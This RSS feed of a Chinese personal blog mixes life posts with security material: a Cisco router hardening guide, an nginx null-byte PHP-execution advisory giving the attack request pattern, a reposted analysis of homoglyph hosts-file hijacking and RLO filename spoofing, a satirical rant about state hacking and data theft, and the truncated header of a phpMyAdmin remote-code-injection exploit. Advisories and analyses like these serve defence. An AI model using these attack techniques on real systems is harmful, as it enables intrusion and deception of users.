<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[NetKnave 's BLog]]></title> 
<link>http://www.netpk.org/blog/index.php</link> 
<description><![CDATA[黑夜给了我黑色的眼睛,我却用他来寻找美金!]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[NetKnave 's BLog]]></copyright>
<item>
<link>http://www.netpk.org/blog/read.php?557</link>
<title><![CDATA[给T410换了个风扇]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[心情点滴]]></category>
<pubDate>Fri, 27 Apr 2012 23:34:31 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?557</guid> 
<description>
<![CDATA[ 
	这个T410买来也用了不少日子了，跟着我也是受罪啊，基本不关机的真是受累了。<br/>最近发现这风扇不行了，随便开几个网页啊程序啊啥的温度立马上来了声音还大。<br/>果断换之。<br/>TMALL上买了个风扇155+7块钱运费1天就到了。<br/>花了十几分钟轻松换完，果然是清爽多了。<br/>声音小了温度也正常了。NICE啊。。。。<br/><br/>上几张换下来的图，灰还真不少。。。<br/><br/><a href="http://www.netpk.org/blog/attachment.php?fid=38" target="_blank"><img src="http://www.netpk.org/blog/attachment.php?fid=38" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://www.netpk.org/blog/attachment.php?fid=39" target="_blank"><img src="http://www.netpk.org/blog/attachment.php?fid=39" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://www.netpk.org/blog/attachment.php?fid=40" target="_blank"><img src="http://www.netpk.org/blog/attachment.php?fid=40" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="http://www.netpk.org/blog/attachment.php?fid=41" target="_blank"><img src="http://www.netpk.org/blog/attachment.php?fid=41" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=t410" rel="tag">t410</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?556</link>
<title><![CDATA[今年赚钱太难了]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[心情点滴]]></category>
<pubDate>Tue, 27 Sep 2011 21:17:32 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?556</guid> 
<description>
<![CDATA[ 
	<span style="color: #FF0000;">转自爱美股。。。难呐</span><br/><br/>你要看上中概热门，中概血崩，然后你觉得大中概比较靠谱，看到SINA, BIDU都满意，<br/>一买一捂，BIDU二探115，SINA二探80-。你给我说说怎么赚钱。<br/><br/>然后你觉得有QE在，买点白银抗通涨，四月血崩一次，要么亏得不玩了，要么捂到9月<br/>出水了，再给你来一回更猛的，直接回30。然后你觉得黄金保险吧，1700左右上路，<br/>1800卖了小赚，没准1700多又上路，现在也给你把利润赔没了。<br/><br/>然后你想着苹果总没错吧，妈的今年都二三回去315了，加上JOBS一走，你吓得又出货<br/>了，出了不烧就不错了，看到人家飞到400，谁给我说说JOBS走了还有信心捂苹果的。<br/><br/>然后你看铀矿不错，日本地震给你一脚，几位三块多买URRE, DNN的哥么不知道哪去了<br/>，现在都是几毛钱了。<br/><br/>那年初大牛们，都说BAC去18吧，你说我不看帐户了，捂这全美最大银行，了不起他去<br/>了10块以下我加仓ALL IN。尼玛的居然看到了6块，还要破产。<br/><br/>NFLX是潜力股，你120进130出，180进200出，260进300出，以为自己是股神了，你给我<br/>演示一下从300到120这一路上，你是怎么微操赚钱的。第一次暴跌你SHORT被爆，第二<br/>次暴跌你LONG被爆，第三次暴跌你只能看风景了。<br/><br/>8月连跌8天，多少人给你说抢反弹，牛市啊，CORRECTION，见DIP就上，你进去抢了，<br/>乖乖，DOW飞流直下二千点，没过2008没见过世面啊，再不割肉真是有INNER PEACE。<br/><br/>然后尼玛的你怒了，去捂帮捂LOSER，太阳能衰是吧，咱们7块买LDK，还不一会就回十<br/>块，前一阵还到15呢，现在给你50% OFF。石油危机，油价上涨，这玩意总是大家需要<br/>的吧，上油工皮克PGH, PBR，一会飞到14和40多，美啊美啊，转眼一个9块一个23，你<br/>给我演示一下这一路怎么赚的。<br/><br/>然后你看到科技股火热，AAPL买不起或吓到了，AAPL的好伙伴QCOM牛啊，一定破60，身<br/>边的朋友都五十多买的，等着过60，现在50，只能INNER PEACE了。SPRD巨牛，被浑水<br/>一搞去了九块你还不割？FIO是存储巨头，非死不可都得给面子，出来30现在半价。那<br/>尼玛的非死不可的弟弟LNKD总牛了吧，谁给说说LNKD怎么赚到钱的。后来中国版的非死<br/>不可来了，看YOKU和DANG IPO的时候热火，RENN18出来，大家都抢了，我等等，12够便<br/>宜了吧，转眼6块，尼玛的OPTION也没有这么赔的。一加一捂，回十多了，出水咱就卖<br/>，真是好样的，等等，怎么5块了。<br/><br/>然后你再说，夏天电影火热，经济不好总得看片吧，哈里波波最后一部来了，还有功夫<br/>熊猫这丫的，IMAX咱们抄，30多一股根本不贵，等着见50，看看IMAX人山人海的，你还<br/>自觉得FA做得不错，尼玛的转眼庄跑了，变15了，IMAX还那么人，怎么就5折了呢。DWA<br/>也不知道是熊猫不给力还是怎么回事，也打了个大折。<br/><br/>咖啡火你买JVA，跌了赔了你烧GMCR，这不都是股版大虾干的事嘛，谁给说说怎么赚的。<br/><br/>开始专注大牛PICK,AMD MU剑指15，买了立马去了6和7。NCT买的比大牛成本低，五块买<br/>的现在快4块。ALL IN HIG，眼看飓风过了要反弹了，也不知怎么下弹到16的。跟着<br/>HOBO买TZA, FAZ，能不被烧活下来的真不多。太多太多辛酸的故事就不说了，等大家来<br/>总结<br/><br/>以上有一半都发生在本人身上，其它也在脑中模拟操作，PICK没有人身攻击的意思，<br/>PICK本身都是没问题的，只是不知道入点和出点。今年赚钱的牛给我们讲讲吧。最近我<br/>最不爱听到的教育就是BUY AND HOLD，我觉得我心中的几个大牛告诉我，STAY AWAY， <br/>等市场转向再回来，这才是散户最佳操作。BUY AND HOLD上面这些玩意，你给我说说怎<br/>么赚钱
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?555</link>
<title><![CDATA[思科路由器安全加固方案（南方电网预实施方案）]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Mon, 05 Sep 2011 23:35:35 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?555</guid> 
<description>
<![CDATA[ 
	http://www.youxia.org/2011/08/Route-JiaGu.html<br/><br/>一、 控制层面主要安全威协与应对原则<br/><br/>网络设备的控制层面的实质还是运行的一个操作系统，既然是一个操作系统，那么，其它操作系统可能遇到的安全威胁网络设备都有可能遇到；总结起来有如下几个方面：<br/><br/>1、 系统自身的缺陷：操作系统作为一个复杂系统，不论在发布之前多么仔细的进行测试，总会有缺陷产生的。出现缺陷后的唯一办法就是尽快给系统要上补丁。 Cisco IOS/Catos与其它通用操作系统的区别在于，IOS/Catos需要将整个系统更换为打过补丁的系统，可以查询http: //www.cisco.com/en/US/customer/products/prod_security_advisories_list.html 取得cisco最新的安全公告信息与补丁信息。<br/><br/>2、 系统缺省服务：与大多数能用操作系统一样，IOS与CatOS缺省情况下也开了一大堆服务，这些服务可能会引起潜在的安全风险，解决的办法是按最小特权原则，关闭这些不需要的服务。<br/><br/>3、 弱密码与明文密码：在IOS中，特权密码的加密方式强加密有弱加密两种，而普通存取密码在缺省情况下则是明文；<br/><br/>4、 非授权用户可以管理设备：既可以通过telnet&#92;snmp通过网络对设备进行带内管理，还可以通过console与aux口对设备进行带外管理。缺省情况下带外管理是没有密码限制的。隐含较大的安全风险；<br/><br/>5、 CDP协议造成设备信息的泄漏；<br/><br/>6、 DDOS攻击导致设备不能正常运行，解决方案，使用控制面策略，限制到控制层面的流量；<br/><br/>7、 发生安全风险之后，缺省审计功能。<br/><br/>二、 Cisco IOS加固<br/><br/>对于12.3(4)T之后的IOS版本，可以通过autosecure命令完成下述大多数功能，考虑到大部分用户还没有条件升级到该IOS版本，这里仍然列出需要使用到的命令行：<br/><br/>1、禁用不需要的服务：<br/>no ip http server　　 //禁用http server，这玩意儿的安全漏洞很多的<br/>no ip source-route　　 //禁用IP源路由，防止路由欺骗<br/>no service finger //禁用finger服务　<br/>no ip bootp server　　　//禁用bootp服务<br/>no service udp-small-s //小的udp服务<br/>no service tcp-small-s //禁用小的tcp服务<br/><br/>2、关闭CDP<br/>no cdp run //禁用cdp<br/><br/>3、配置强加密与启用密码加密：<br/>service password-encryption　//启用加密服务，将对password密码进行加密<br/>enable secret asdfajkls　　　//配置强加密的特权密码<br/>no enable password　　　　　 //禁用弱加密的特权密码<br/><br/>4、配置log server、时间服务及与用于带内管理的ACL等，便于进行安全审计<br/>service timestamp log datetime localtime //配置时间戳为datetime方式，使用本地时间<br/>logging 192.168.0.1 //向192.168.0.1发送log<br/>logging 192.168.0.2 //向192.168.0.2发送log<br/>access-list 98的主机进行通讯<br/>no access-list 99 //在配置一个新的acl前先清空该ACL<br/>access-list 99 permit 192.168.0.0 0.0.0.255<br/>access-list 99 deny any log //log参数说明在有符合该条件的条目时产生一条logo信息<br/>no access-list 98 //在配置一个新的acl前先清空该ACL<br/>access-list 98 permit host 192.168.0.1<br/>access-list 98 deny any log //log参数说明在有符合该条件的条目时产生一条logo信息<br/>!<br/>clock timezone PST-8 //设置时区<br/>ntp authenticate　　　　　　 //启用NTP认证<br/>ntp authentication-key 1 md5 uadsf //设置NTP认证用的密码，使用MD5加密。需要和ntp server一致<br/>ntp trusted-key 1　　　　　　　　　　//可以信任的Key.<br/>ntp acess-group peer 98 //设置ntp服务，只允许对端为符合access-list 98条件的主机<br/>ntp server 192.168.0.1 key 1　　　　 //配置ntp server，server为192.168.0.1，使用1号key做为密码　<br/><br/>5、对带内管理行为进行限制：<br/>snmp-server community HSDxdf ro 98//配置snmp只读通讯字，并只允许access-list 98的主机进行通讯<br/>line vty 0 4<br/>access-class 99 in //使用acl 99来控制telnet的源地址<br/>login<br/>password 0 asdfaksdlf　　　　//配置telnet密码<br/>exec-timeout 2 0　　　　　　 //配置虚终端超时参数，这里是2分钟<br/>!<br/><br/>6、对带外管理行为进行限制：<br/>line con 0<br/>login<br/>password 0 adsfoii //配置console口的密码<br/>exec-timeout 2 0　　　　　　 //配置console口超时参数，这里是两分钟<br/>!<br/>line aux 0<br/>transport input none<br/>password 0 asfdkalsfj　　　　<br/>no exec<br/>exit<br/><br/>7、应用control-plane police，预防DDOS攻击(注：需要12.2(18)S或12.3(4)T以上版本才支持)<br/>允许信任主机(包括其它网络设备、管理工作站等)来的流量:<br/>access-list 110 deny ip host 1.1.1.1 any<br/>access-list 110 deny ip 2.2.2.0 255.255.255.0 any<br/>.....<br/>access-list 110 deny ip 3.3.3.3 any<br/>限制所有其它流量<br/>access-list 110 permit ip any any<br/>!<br/>class-map control-plane-limit<br/>match access-group 110<br/>!<br/>policy-map control-plane-policy<br/>class control-plane-limit<br/>police 32000 conform transmit exceed drop<br/>!<br/>control-plane<br/>service-policy input control-plane-policy<br/><br/>三、 Cisco CatOS加固<br/><br/>1、 禁用不需要的服务：<br/>set cdp disable //禁用cdp<br/>set ip http disable 　　 //禁用http server，这玩意儿的安全漏洞很多的<br/><br/>2、 配置时间及日志参数，便于进行安全审计：<br/>set logging timestamp enable //启用log时间戳<br/>set logging server 192.168.0.1 //向192.168.0.1发送log<br/>set logging server 192.168.0.2 //向192.168.0.2发送log!<br/>set timezone PST-8 //设置时区<br/>set ntp authenticate enable　　　　　　 //启用NTP认证<br/>set ntp key 1 md5 uadsf //设置NTP认证用的密码，使用MD5加密。需要和ntp server一致<br/>set ntp server 192.168.0.1 key 1　//配置ntp server，server为192.168.0.1，使用1号key做为密码　<br/>set ntp client enable //启用ntp client<br/><br/>3、 限制带内管理：<br/><br/>set snmp community HSDxdf //配置snmp只读通讯字<br/>set ip permit enable snmp //启用snmp访问控制<br/>set ip permit 192.168.0.1 snmp　 //允许192.168.0.1进行snmp访问<br/>set ip permit enable telnet //启用telnet访问控制<br/>set ip permit 192.168.0.1 telnet　 //允许192.168.0.1进行telnet访问<br/>set password //配置telnet密码<br/>set enable 　 　 //配置特权密码<br/>set logout 2 　　 //配置超时参数，2分钟<br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=cisco" rel="tag">cisco</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?554</link>
<title><![CDATA[Nginx空字节执行任意代码(php)漏洞]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Thu, 25 Aug 2011 23:34:18 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?554</guid> 
<description>
<![CDATA[ 
	SSV-ID: 20898<br/>SEBUG-Appdir: Nginx<br/>发布时间: 2011-07-20<br/>影响版本:<br/>nginx 0.5.*<br/>nginx 0.6.*<br/>nginx 0.7 <= 0.7.65<br/>nginx 0.8 <= 0.8.37<br/>漏洞描述:<br/>Possible Arbitrary Code Execution with Null Bytes, PHP, and Old Versions of nginx<br/><br/>In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h). <br/><br/>Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.<br/><*参考<br/>https://nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/<br/>*><br/>测试方法:<br/>[sebug.net]<br/>本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!<br/>The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes file.ext to be parsed as PHP.<br/><br/> If an attacker can control the contents of a file served up by nginx (ie: using an avatar upload form) the result is arbitrary code execution. This vulnerability can not be mitigated by nginx configuration settings like try_files or PHP configuration settings like cgi.fix_pathinfo: the only defense is to upgrade to a newer version of nginx or to explicitly block potentially malicious requests to directories containing user-controlled content.<br/>SEBUG安全建议:<br/>解决方案<br/><br/>升级nginx版本<br/>http://nginx.org<br/>// sebug.net [2011-08-25]
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?553</link>
<title><![CDATA[Can we believe our eyes?]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Thu, 11 Aug 2011 18:07:47 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?553</guid> 
<description>
<![CDATA[ 
	Several days ago, one of our customers submitted a sample (SHA1: fbe71968d4c5399c2906b56d9feadf19a35beb97, detected as TrojanDropper:Win32/Vundo.L). This trojan hijacks&nbsp;&nbsp;the hosts “vk.com” and “vkontakte.ru” (both social networking sites in Russia)and redirects them to 92.38.209.252, but achieves this in an unusual way.<br/><br/>A common&nbsp;&nbsp;method used to hijack a website and redirect it to a site of the attacker’s choice is to add an entry in the Windows hosts file located in the %SystemRoot%&#92;system32&#92;drivers&#92;etc directory. However, when we open this file on an affected computer, it doesn’t contain any entries related to “vk.com” and “vkontakte.ru”, as you can see in the following example:<br/><br/><a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/3364.BID17_2D00_001.jpg" target="_blank"><img src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/3364.BID17_2D00_001.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>But when we show hidden files, we can see another “hosts” file. It is hidden, as in the following example:<br/><a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/5775.BID17_2D00_002.jpg" target="_blank"><img src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/5775.BID17_2D00_002.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>There are two files with exactly the same name, “hosts”, in the etc directory! How can this happen?<br/><br/>As we know, it is not possible for a directory to contain two files with the same name. When we copy the file names to notepad, save them as a Unicode text file and open them with a hex editor we see the following (the upper is for the first “hosts” file, the lower is for the second “hosts” file):<br/><a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/3113.BID17_2D00_003.jpg" target="_blank"><img src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/3113.BID17_2D00_003.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>For Unicode (UTF-16), the 0x006F is the same as 0x6F in ASCII, which is the character “o”. But what’s the 0x043E in Unicode? We can find it in Unicode chart table (Range: 0400-04FF). The following is part of this table.<br/><a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/5633.BID17_2D00_004.jpg" target="_blank"><img src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/5633.BID17_2D00_004.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>We can see that Unicode 0x043E is a Cyrillic character, and it looks very much like the English character “o”. <br/>So the hidden “hosts” file is the real hosts file in fact. When we open this file, we can see that two entries have been added to the end of the file:<br/><a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/2677.BID17_2D00_005.jpg" target="_blank"><img src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/2677.BID17_2D00_005.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>Mystery solved!<br/><br/>This is not the first time we’ve seen a hacker using Unicode characters to mislead people. In Aug 2010, a Chinese hacker disclosed a trick with a Unicode control character used to mislead people into running an executable file. Hackers use Unicode control characters 0x202E (RLO) to reverse parts of a special file name, which changes the look of the file name in Windows Explorer.<br/><br/>For example, there is a file named as “picgpj.exe”, as the following:<br/><a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/5873.BID17_2D00_006.jpg" target="_blank"><img src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/5873.BID17_2D00_006.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>The “gpj.exe” part of this name is specially crafted. When inserting an RLO character before “gpj.exe” in this name, the whole name appears as the following:<br/><a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/5327.BID17_2D00_007.jpg" target="_blank"><img src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-62-58/5327.BID17_2D00_007.jpg" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>Hackers also usually use a picture as the file icon. Unwary people treat this file as a picture, and blindly ouble-click to open it, thus running the executable. Obviously, this type of trick is useless for Unicode aware programs, but it is not easy for the eyes of people to identify the problem.<br/><br/>Can we believe our eyes? The answer is... not always.<br/><br/>Zhitao Zhou
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?552</link>
<title><![CDATA[清理链接]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[心情点滴]]></category>
<pubDate>Mon, 08 Aug 2011 16:33:29 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?552</guid> 
<description>
<![CDATA[ 
	估计清完没二个链接了..
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?551</link>
<title><![CDATA[当鹰犬的孩纸你们桑不起啊！！！！！！！！！]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[心情点滴]]></category>
<pubDate>Tue, 26 Jul 2011 21:29:25 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?551</guid> 
<description>
<![CDATA[ 
	<span style="color: #FF0000;">PS：我擦。。确实有这么坑爹。。看完这个贴子。想起当年。。。真是内牛满面啊</span><br/><br/>当鹰犬的孩纸你们伤不起啊！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛说起来好歹也是为国家效力啊！！！！！在古代那是光宗耀祖的事情啊！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>可特么现在有点前途有点觉悟的孩纸都不愿进国家队啊，这是为神马啊！！！！为神马啊！！！！！神马啊！！！！！！！！<br/>尼玛搞的都是高科技啊，神马F22啊！！！！！FBI啊！！！！！！日本自慰队啊！！！！！！！达赖喇嘛啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛老子就是一垃圾邮件群发机啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>天天拿着个hotmail，gmail，yahoo的插死死给人家发信啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>一天要发1W多封垃圾邮件出去啊！！！！！！尼玛的yahoo的服务器内牛满面啊，每天要封老子10多个账号啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>达赖内牛满面啊！！！！老子中你的马好不好，不要再给老子发邮件了啊！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>老子们的辛酸又有谁知道啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛天天巴望着上头发点0day啊，网马啊，插死死啊，溢出啊！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>特么盼猩猩盼熊猫，盼来一个J8网马，卡得要死的啊！！！！！！挂IE的啊！！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>还特么要自己免杀啊！！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛从日站到挂马，到日内网，到特么下资料，都鸡巴一个人搞啊！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>特么真当老子是全能黑客啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛的好不容易日进去，找东西找尼玛半天啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛国外的公司，目录那叫一个乱啊！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛发现一个目录全是wmv，以为是特么产品说明啊！！！！！！结果尼玛下回来全是毛片啊！！！！！3P啊，人兽啊，SM啊！！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛1G的资料要下半年啊，断断续续啊！！！！！！寝室的还在下毛片啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛每天半夜睡不着啊，提心吊胆啊，盯着人家屏幕看人家上班玩扫雷啊！！！！！！机器一掉今年的奖金又打水漂啊！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>特么一会日本时间，一会美国时间啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>搞到一半遇到网管啊，特么一脚就给你飞出来啊！！！！也不J8管你搞得多辛苦啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/><span style="color: #FF0000;">尼玛提心吊胆好多天啊，出事国家也不保你啊，还特么要被CIA跨国追杀啊！！！！跨国啊！！！！！比特么跨省高了几个档次啊！！！！！有木有啊！！！！！有木有啊！！！！！！！</span><br/>尼玛好不容易东西下完啊！！！！！！一年凑齐几个T的资料交给上面啊！！！！！上面一句话没用啊！！！！！没用啊！！！！！！就特么一句话啊，你今年一年白干了啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>特么的完成一个指标啊！！！！！说给你100W啊！！！！！！特么20个人分啊！！！！！！还要被boss扣一笔啊！！！！！到手的连交房租都不够啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛的《奸20》试飞啊！！！！上面的零件全是老子们的血汗啊！！！冒着生命危险换来的啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>关那些老砖家老叫兽屁事啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>那些中科院的老砖家啊，老叫兽啊，都特么吃屎的货色啊！！！！！！就特么会骗钱骗炮打啊，毛都不会啊！！！！！！特么随便申请一个鸡巴项目啊！！！！上面几亿的资金往那边拨啊！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>尼玛的老子这些真正做事的人啊！！！！！一个月给你几千块钱就打发了啊，跟打发叫花子一样啊！！！！！！特么的给朝廷办事啊！！！饿不死就行了啊！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>特么的人家刷库黑客啊，一个update啊，几百W就来了啊！！！！！老子们累死累活干一辈子啊，功劳都被老叫兽们领走了啊！！！！！！！！！！！！有木有啊！！！！！有木有啊！！！！！！！<br/>孩纸们啊！！！！！血的教训啊！！！！肿么也不能去当鹰犬为朝廷做事啊！！！！！朝廷不是人待的地方啊！！！！！！！！<br/>刷库被逮到撑死坐几年啊！！！！！几年后又是一条好汉啊！！！！！！！！不要听信鹰犬们的花言巧语啊！！！！！！！！切记切记啊！！！！！！！！！&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>本文摘自互联网
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?550</link>
<title><![CDATA[但无论如何请不要对爱情偷懒]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[心情点滴]]></category>
<pubDate>Mon, 25 Jul 2011 11:39:19 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?550</guid> 
<description>
<![CDATA[ 
	当两个人在一起比较久女的会越来越爱男的 男的越来越随便 男的会説女的老是胡思乱想 女的就説男的已经变了不像以前那麽宠她 其实大家都没变 只是时间变了因为彼此关係变亲密了习惯对方所以不会再像热恋那样 所以女的会胡想 但无论如何请不要对爱情偷懒 否则只要平澹 然后矛盾争吵再到分手
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?549</link>
<title><![CDATA[phpMyAdmin 3.x Swekey Remote Code Injection Exploit]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Sun, 10 Jul 2011 17:39:45 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?549</guid> 
<description>
<![CDATA[ 
	<div class="code">&lt;?php /*&nbsp;&nbsp;<br/><br/># Exploit Title: phpMyAdmin 3.x Swekey Remote Code Injection Exploit&nbsp;&nbsp;<br/><br/># Date: 2011-07-09&nbsp;&nbsp;<br/><br/># Author: Mango of ha.xxor.se&nbsp;&nbsp;<br/><br/># Version: phpMyAdmin &lt; 3.3.10.2 &#124;&#124; phpMyAdmin &lt; 3.4.3.1&nbsp;&nbsp; <br/><br/># CVE : CVE-2011-2505, CVE-2011-2506&nbsp;&nbsp;<br/><br/># Advisory: http://www.xxor.se/advisories/phpMyAdmin_3.x_Multiple_Remote_Code_Executions.txt&nbsp;&nbsp;<br/><br/># Details: http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html&nbsp;&nbsp;<br/><br/>*/ <br/><br/>echo php_sapi_name()!==&#039;cli&#039;?&#039;&lt;pre&gt;&#039;:&#039;&#039;;?&gt;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)&#92;&nbsp;&nbsp;&nbsp;&nbsp; .&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;.&nbsp;&nbsp;,/)&nbsp;&nbsp; , /&nbsp;&nbsp;) ,&nbsp;&nbsp;)&#92;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;)&#92;(&nbsp;&nbsp;/)/( (__( /( /&nbsp;&nbsp;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;<br/><br/> /&nbsp;&nbsp;&#92;&nbsp;&nbsp;(&nbsp;&nbsp; 